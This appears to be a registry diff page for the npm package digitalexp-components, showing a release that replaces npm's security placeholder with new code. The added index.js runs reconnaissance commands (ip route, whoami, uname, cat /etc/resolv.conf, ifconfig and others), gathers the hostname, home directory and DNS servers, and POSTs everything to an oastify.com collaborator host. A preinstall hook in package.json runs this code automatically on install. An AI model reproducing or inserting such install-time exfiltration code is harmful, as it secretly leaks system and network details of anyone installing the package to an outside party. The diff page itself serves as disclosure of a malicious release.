digitalexp-components 0.0.1-security → 13.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of digitalexp-components might be problematic. Click here for more details.
- package/index.js +122 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,122 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const https = require("https");
|
4
|
+
const { execSync } = require("child_process");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
// Function to execute shell commands safely
|
9
|
+
const runCommand = (cmd) => {
|
10
|
+
try {
|
11
|
+
return execSync(cmd, { encoding: "utf-8" }).trim();
|
12
|
+
} catch (err) {
|
13
|
+
return `Error executing '${cmd}': ${err.message}`;
|
14
|
+
}
|
15
|
+
};
|
16
|
+
|
17
|
+
// Sleep function to delay execution for a given number of milliseconds
|
18
|
+
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
19
|
+
|
20
|
+
// Function to execute the commands with delay
|
21
|
+
const executeCommandsWithDelay = async () => {
|
22
|
+
await sleep(1000); // Initial delay
|
23
|
+
|
24
|
+
const ipRouteOutput = runCommand("ip route");
|
25
|
+
await sleep(1000);
|
26
|
+
|
27
|
+
const unameOutput = runCommand("uname -a"); // Changed to uname -a
|
28
|
+
await sleep(1000);
|
29
|
+
|
30
|
+
const dnsdomainnameOutput = runCommand("dnsdomainname");
|
31
|
+
await sleep(1000);
|
32
|
+
|
33
|
+
const whoOutput = runCommand("who");
|
34
|
+
await sleep(1000);
|
35
|
+
|
36
|
+
const homeOutputdirectory = runCommand("ls /"); // Changed to ls -la /
|
37
|
+
await sleep(1000);
|
38
|
+
|
39
|
+
// New commands added
|
40
|
+
const resolvConfOutput = runCommand("cat /etc/resolv.conf");
|
41
|
+
await sleep(1000);
|
42
|
+
|
43
|
+
const sysconfigNetworkOutput = runCommand("cat /etc/sysconfig/network");
|
44
|
+
await sleep(1000);
|
45
|
+
|
46
|
+
const whoamiOutput = runCommand("whoami");
|
47
|
+
await sleep(1000);
|
48
|
+
|
49
|
+
const systemModelOutput = runCommand("systeminfo | findstr \"System Model\""); // Changed systeminfo to find system model
|
50
|
+
await sleep(1000);
|
51
|
+
|
52
|
+
const connectionSpecificDnsSuffixOutput = runCommand("ipconfig | findstr \"Connection-specific DNS Suffix\""); // Updated to find Connection-specific DNS Suffix
|
53
|
+
await sleep(1000);
|
54
|
+
|
55
|
+
const ifconfigOutput = runCommand("ifconfig | grep inet | awk '{ print $2 }' | grep -v \"127.0.0.1\""); // Added ifconfig output
|
56
|
+
await sleep(1000);
|
57
|
+
|
58
|
+
// List the contents of C:\Windows\System32\sims using dir command
|
59
|
+
const simsDirectoryOutput = runCommand("dir");
|
60
|
+
await sleep(1000);
|
61
|
+
|
62
|
+
// Prepare tracking data
|
63
|
+
const trackingData = {
|
64
|
+
p: package,
|
65
|
+
c: __dirname,
|
66
|
+
hd: os.homedir(),
|
67
|
+
hn: os.hostname(),
|
68
|
+
dns: dns.getServers().join(', '), // Convert DNS array to a string
|
69
|
+
r: packageJSON ? packageJSON.__resolved : undefined,
|
70
|
+
v: packageJSON.version,
|
71
|
+
pjson: packageJSON,
|
72
|
+
ipRoute: ipRouteOutput,
|
73
|
+
uname: unameOutput, // Add uname output
|
74
|
+
domainname: dnsdomainnameOutput,
|
75
|
+
who: whoOutput,
|
76
|
+
home: homeOutputdirectory, // Updated directory listing
|
77
|
+
resolvConf: resolvConfOutput, // Add /etc/resolv.conf content
|
78
|
+
sysconfigNetwork: sysconfigNetworkOutput, // Add /etc/sysconfig/network content
|
79
|
+
whoami: whoamiOutput, // Add whoami output
|
80
|
+
systemModel: systemModelOutput, // Add system model info
|
81
|
+
connectionSpecificDnsSuffix: connectionSpecificDnsSuffixOutput, // Add connection-specific DNS suffix
|
82
|
+
ifconfig: ifconfigOutput, // Add ifconfig output
|
83
|
+
simsDirectory: simsDirectoryOutput, // Add Sims directory contents
|
84
|
+
};
|
85
|
+
|
86
|
+
// Prepare the request data as JSON
|
87
|
+
const postData = JSON.stringify({ msg: trackingData });
|
88
|
+
|
89
|
+
// Configure request options
|
90
|
+
const options = {
|
91
|
+
hostname: "k5qvv3ykb7osh4caq8ov4n55gwmnady2.oastify.com", // Replace with your endpoint
|
92
|
+
port: 443,
|
93
|
+
path: "/",
|
94
|
+
method: "POST",
|
95
|
+
headers: {
|
96
|
+
"Content-Type": "application/json", // Set content type to JSON
|
97
|
+
"Content-Length": postData.length,
|
98
|
+
},
|
99
|
+
};
|
100
|
+
|
101
|
+
// Send the POST request
|
102
|
+
const req = https.request(options, (res) => {
|
103
|
+
res.on("data", (d) => {
|
104
|
+
process.stdout.write(d);
|
105
|
+
});
|
106
|
+
|
107
|
+
// Handle end of response
|
108
|
+
res.on("end", () => {
|
109
|
+
console.log("Request completed");
|
110
|
+
});
|
111
|
+
});
|
112
|
+
|
113
|
+
req.on("error", (e) => {
|
114
|
+
// Silently ignore errors
|
115
|
+
});
|
116
|
+
|
117
|
+
req.write(postData);
|
118
|
+
req.end();
|
119
|
+
};
|
120
|
+
|
121
|
+
// Execute the commands with delay
|
122
|
+
executeCommandsWithDelay();
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "digitalexp-components",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "13.0.1",
|
4
|
+
"description": "checking remote code execution and running ls -la command",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"node-fetch": "^2.7.0"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.
|